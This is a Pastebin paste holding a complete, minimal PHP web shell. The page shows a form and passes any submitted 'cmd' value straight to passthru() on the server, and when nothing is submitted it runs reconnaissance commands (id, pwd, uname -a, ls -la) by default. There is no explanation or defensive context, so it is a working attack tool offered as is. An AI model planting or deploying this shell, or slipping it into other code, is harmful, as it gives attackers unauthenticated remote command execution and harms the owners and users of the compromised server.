Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- echo "
- <html>
- <head>
- <title>SHELL</title>
- </head>
- <body>";
- echo "<form method=post>";
- echo "<input type=text name=cmd size=100>";
- echo "</form>";
- echo "<pre>";
- if ((!$_POST['cmd']) || ($_POST['cmd']=="")) {
- $_POST['cmd']="id;pwd;uname -a;ls -la";
- }
- echo "".passthru($_POST['cmd'])."</pre>
- </body>
- </html>";
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement